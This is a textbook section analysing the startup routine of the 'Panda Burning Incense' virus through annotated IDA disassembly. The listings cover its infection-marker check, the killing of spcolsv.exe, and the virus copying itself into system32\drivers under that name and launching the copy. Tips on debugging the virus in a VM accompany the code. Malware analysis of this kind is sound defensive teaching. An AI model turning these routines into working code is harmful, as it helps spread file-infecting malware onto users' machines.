15.3 “熊猫烧香”的启动过程分析
首先分析三大功能函数中的CreateAndRunPanda,如代码清单15-3所示。
代码清单15-3 函数CreateAndRunPanda代码片段1—IDA分析
;这是一个无参函数
004082F8 CreateAndRunPanda proc near
004082F8 var_424=dword ptr-424h
004082F8 var_420=dword ptr-420h
004082F8 var_41C=dword ptr-41Ch
004082F8 var_418=dword ptr-418h
004082F8 uCmdShow=dword ptr-414h
004082F8 var_410=dword ptr-410h
;局部变量标号定义略
004082F8 var_4=dword ptr-4
;函数入口起始处
004082F8 push ebp
004082F9 mov ebp, esp
004082FB mov ecx,84h
loc_408300:;地址标号
00408300 push 0;申请局部变量空间
00408302 push 0
00408304 dec ecx
;循环跳转,共申请0x84次,每次申请8字节栈空间
00408305 jnz short loc_408300
00408307 push ecx
00408308 push ebx
00408309 push esi
0040830A push edi
0040830B xor eax, eax
0040830D push ebp
0040830E push offset loc_4088DD
00408313 push dword ptr fs:[eax]
00408316 mov fs:[eax],esp
00408319 lea edx,[ebp+var_3B8];[ebp+var_3B8]保存路径字符串首地址
0040831F xor eax, eax
00408321 call sub_40277C;获取当前程序所在路径,重命名为GetPathName
00408326 mov eax,[ebp+var_3B8]
0040832C lea edx,[ebp+var_3B4];[ebp+var_3B4]保存路径字符串首地址
00408332 call sub_405684;获取路径,不包含名称,重命名为GetPath
00408337 lea eax,[ebp+var_3B4]
0040833D mov edx, offset dword_4088F4;字符串"Desktop_.ini"的首地址
00408342 call sub_403ED4;字符串追加函数,重命名为CatStr
00408347 mov eax,[ebp+var_3B4];追加后的字符串首地址
0040834D call sub_4057A4;检查"Desktop_.ini"文件是否存在
00408352 test al, al;不存在al为0
00408354 jz loc_4083E4;不存在执行跳转
0040835A push 80h;获取路径长度
0040835F lea edx,[ebp+var_3C0];保存路径字符串首地址
00408365 xor eax, eax
00408367 call GetPathName;获取当前路径
0040836C mov eax,[ebp+var_3C0]
00408372 lea edx,[ebp+var_3BC];保存路径字符串首地址
00408378 call GetPath;获取路径,不包含名称
0040837D lea eax,[ebp+var_3BC]
00408383 mov edx, offset dword_4088F4;字符串"Desktop_.ini"的首地址
00408388 call CatStr;字符串追加函数
0040838D mov eax,[ebp+var_3BC];追加后的字符串
00408393 call sub_4040CC;检查字符串,重命名为CheckStr
00408398 push eax;文件路径
00408399 call SetFileAttributesA;设置文件属性
0040839E push 1;设置等待时间
004083A0 call Sleep
004083A5 lea edx,[ebp+var_3C8]
004083AB xor eax, eax
004083AD call GetPathName;获取当前路径,首地址保存到[ebp+var_3C8]中
004083B2 mov eax,[ebp+var_3C8]
004083B8 lea edx,[ebp+var_3C4]
004083BE call GetPath;获取路径,首地址保存到[ebp+var_3C4]中
004083C3 lea eax,[ebp+var_3C4]
004083C9 mov edx, offset dword_4088F4;字符串"Desktop_.ini"的首地址
004083CE call CatStr;字符串追加函数
004083D3 mov eax,[ebp+var_3C4]
004083D9 call CheckStr;检查字符串
004083DE push eax;压入路径字符串
004083DF call DeleteFileA;删除文件
上述代码主要获取当前路径,并将“Desktop_.ini”拼接到当前路径中,同时检查此文件是否存在。如果文件存在,则将其删除。在执行完这些指令以后,代码就进入了新的流程中,如代码清单15-4所示。
代码清单15-4 函数CreateAndRunPanda的代码片段2—IDA分析
loc_4083E4:
004083E4 lea edx,[ebp+var_3CC]
004083EA xor eax, eax
004083EC call GetPathName;获取全路径,首地址保存到[ebp+var_3CC]中
004083F1 mov eax,[ebp+var_3CC]
004083F7 lea edx,[ebp+var_4];保存当前文件信息的首地址
;根据路径,将当前程序读取到内存中,使用[ebp+var_4]保存其首地址
004083FA call sub_407760;将函数重命名为ReadFileToMem
004083FF lea eax,[ebp+var_8]
00408402 call sub_403C44;设置标记
00408407 mov eax,[ebp+var_4];获取文件在内存中的首地址
;获取文件大小,由于是用Delphi编写的,字符串首地址减去4后
;取出的4字节内容便是此字符串的长度
0040840A call sub_403ECC;重命名为GetFileLen
0040840F mov ebx, eax
00408411 jmp short loc_408437
代码清单15-4完成了将病毒文件信息读取到内存中的操作,其目的是复制病毒信息,感染其他文件。我们进一步了解其流程,跟踪到标号loc_408437处,如代码清单15-5所示。
代码清单15-5 函数CreateAndRunPanda的代码片段3—IDA分析
loc_408437:;代码清单15-4中的程序流程运行到此处
00408437 test ebx, ebx;检查字符串长度
00408439 jle short loc_408445;判断标记信息,没有标记表明是第一次运行
0040843B mov eax,[ebp+var_4];获取文件在内存中的首地址
;判断文件尾数据是否为0,这是感染过的文件标记
0040843E cmp byte ptr[eax+ebx-1],0
00408443 jnz short loc_408413;如果没有被感染过,则跳转失败
代码清单15-5进行了标记检查工作,以判断病毒程序是否被多次运行,同时设置了相关的标记信息。接下来,程序流程进入病毒程序复制处,“spcolsv.exe”在进程中出现,代码清单15-6分析了其被感染的过程。
代码清单15-6 函数CreateAndRunPanda的代码片段4—IDA分析
loc_408445:;跳转标记
00408445 cmp[ebp+var_8],0
;判断标记信息,若没有标记,则是第一次运行
;如果不是第一次运行,则跳转成功,跳转到病毒执行流程中
00408449 jnz loc_4085BA
0040844F lea edx,[ebp+var_3D8];存放路径的首地址指针变量
00408455 xor eax, eax
00408457 call GetPathName;获取病毒程序所在路径(包括程序名称)
0040845C mov eax,[ebp+var_3D8];获取全路径首地址并保存到eax中
00408462 lea edx,[ebp+var_3D4];保存大写路径首地址
00408468 call sub_40532C;字符串转换为大写,重命名为ToUpper
0040846D mov eax,[ebp+var_3D4]
00408473 push eax
00408474 lea eax,[ebp+var_3E4];保存系统路径
0040847A call sub_4054BC;获取系统路径,重命名为GetSystemPath
0040847F push[ebp+var_3E4];压入系统路径的首地址
00408485 push offset aDrivers;"drivers\\"
0040848A push offset aSpcolsv_exe;"spcolsv.exe"
0040848F lea eax,[ebp+var_3E0];追加后字符串的首地址
00408495 mov edx,3
;将字符串"drivers\\"与"spcolsv.exe"追加到系统字符串中
0040849A call sub_403F8C;追加两个字符串,更名为CatStrStr
0040849F mov eax,[ebp+var_3E0];追加后字符串的首地址
004084A5 lea edx,[ebp+var_3DC];保存转换大写字符串的首地址
004084AB call ToUpper
004084B0 mov edx,[ebp+var_3DC];拼接后的路径字符串首地址
004084B6 pop eax;当前程序所在的路径
004084B7 call CmpStr
;如果病毒程序在系统目录下,并且被伪装成"spcolsv.exe",则跳转成功
004084BC jz loc_4085BA;相等则跳转
004084C2 mov eax, offset aSpcolsv_exe;"spcolsv.exe"
;查找进程,并终止进程,重命名为FindAndEndProcess
004084C7 call sub_4060D4
004084CC mov eax, offset aSpcolsv_exe;"spcolsv.exe"
004084D1 call FindAndEndProcess
004084D6 push 80h;dwFileAttributes
004084DB lea eax,[ebp+var_3EC];保存系统路径的首地址
004084E1 call GetSystemPath
004084E6 push[ebp+var_3EC]
004084EC push offset aDrivers;"drivers\\"
004084F1 push offset aSpcolsv_exe;"spcolsv.exe"
004084F6 lea eax,[ebp+var_3E8];追加后字符串的首地址
004084FC mov edx,3
00408501 call CatStrStr
00408506 mov eax,[ebp+var_3E8]
0040850C call CheckStr
00408511 push eax;文件路径
00408512 call SetFileAttributesA;设置文件属性
00408517 push 1;设置等待时间
00408519 call Sleep
0040851E push 0;bFailIfExists
00408520 lea eax,[ebp+var_3F4];保存系统路径字符串首地址
00408526 call GetSystemPath
0040852B push[ebp+var_3F4]
00408531 push offset aDrivers;"drivers\\"
00408536 push offset aSpcolsv_exe;"spcolsv.exe"
0040853B lea eax,[ebp+var_3F0]
00408541 mov edx,3
00408546 call CatStrStr;拼接后的系统路径字符串首地址
0040854B mov eax,[ebp+var_3F0];获取拼接后的路径首地址
00408551 call CheckStr;检查拼接字符串
00408556 push eax;lpNewFileName
00408557 lea edx,[ebp+var_3F8];保存当前路径
0040855D xor eax, eax
0040855F call GetPathName
00408564 mov eax,[ebp+var_3F8]
0040856A call CheckStr;检查路径字符串
0040856F push eax;当前文件所在路径
;复制自身病毒文件,伪装到C:\\Windows\\system32\\drivers\\spcolsv.exe
;这时系统目录下的spcolsv.exe已经是"熊猫烧香"的病毒文件
00408570 call CopyFileA
00408575 push 1;uCmdShow
00408577 lea eax,[ebp+var_400]
0040857D call GetSystemPath
00408582 push[ebp+var_400]
00408588 push offset aDrivers;"drivers\\"
0040858D push offset aSpcolsv_exe;"spcolsv.exe"
00408592 lea eax,[ebp+var_3FC]
00408598 mov edx,3
0040859D call CatStrStr;拼接系统路径
004085A2 mov eax,[ebp+var_3FC]
004085A8 call CheckStr;检查拼接字符串
004085AD push eax;复制后的病毒文件所在路径
004085AE call WinExec;运行病毒文件
004085B3 push 0;uExitCode
004085B5 call ExitProcess_0;退出程序
代码清单15-6中的反汇编代码虽然很多,但多数都在执行重复性的操作。这些操作的目的只有一个:找到进程中运行的“spcolsv.exe”,并将其终止。在系统目录中删除“spcolsv.exe”,将病毒自身伪造成“spcolsv.exe”并启动,这是病毒第一次运行时需要执行的。启动系统目录中伪造的病毒程序“spcolsv.exe”后,病毒程序已经在系统目录下了,并且名字已经伪装成了“spcolsv”。执行完代码清单15-6中的“004084B7 call CmpStr”代码后,程序流程将会进入地址标号loc_4085BA处,如代码清单15-7所示。
代码清单15-7 函数CreateAndRunPanda的代码片段5—IDA分析
loc_4085BA:;地址标号
004085BA mov eax,[ebp+var_8]
004085BD call GetFileLen;获得标记信息内容的长度
004085C2 mov ecx, eax
004085C4 lea eax,[ebp+var_4];获取病毒文件在内存中的首地址
004085C7 mov edx, ebx
004085C9 call sub_40416C;删除字符串中的信息,重命名为DelStrBuff
004085CE jmp loc_40889D;进入循环,获取标记流程
检查到病毒文件已经在系统目录下后,则会执行代码清单15-7中的代码,释放之前申请存放病毒文件信息的内存,并获取标记信息。在调试过程中,为了进入代码清单15-7中进行动态分析,可在代码清单15-6中修改关键比较跳转,从而进入此流程,如图15-5所示。
图 15-5 伪造比较结果
执行完“CALL pand.00404018”代码后,将ZF标记从0修改为1,此时JE跳转将会被触发,从而进入代码清单15-7的流程中。最后执行“jmp loc_40889D”进入获取标记流程,如代码清单15-8所示。
代码清单15-8 函数CreateAndRunPanda的代码片段6—IDA分析
loc_40889D:;地址标号
0040889D mov edx,[ebp+var_8];获取标记对比信息
004088A0 mov eax, offset asc_408934;获取数值标记1
;查询标记值1,并获取其位置,重命名为FindSignPos
004088A5 call sub_4041B4
004088AA test eax, eax
004088AC jg loc_4085D3;如果查找到标记字符,则跳转到loc_4085D3处
;其余代码分析略
代码清单15-8主要获取标记并进行检查。当标记等于数值1时,会进入标号loc_4085D3的流程中,并进行进一步检查。标号loc_4085D3中的代码流程只有被感染的程序才会执行。若要调试此段代码,可在虚拟机中运行病毒,使其感染其他文件。对已感染病毒的文件进行调试分析,即可进入到标号为loc_4085D3的流程中。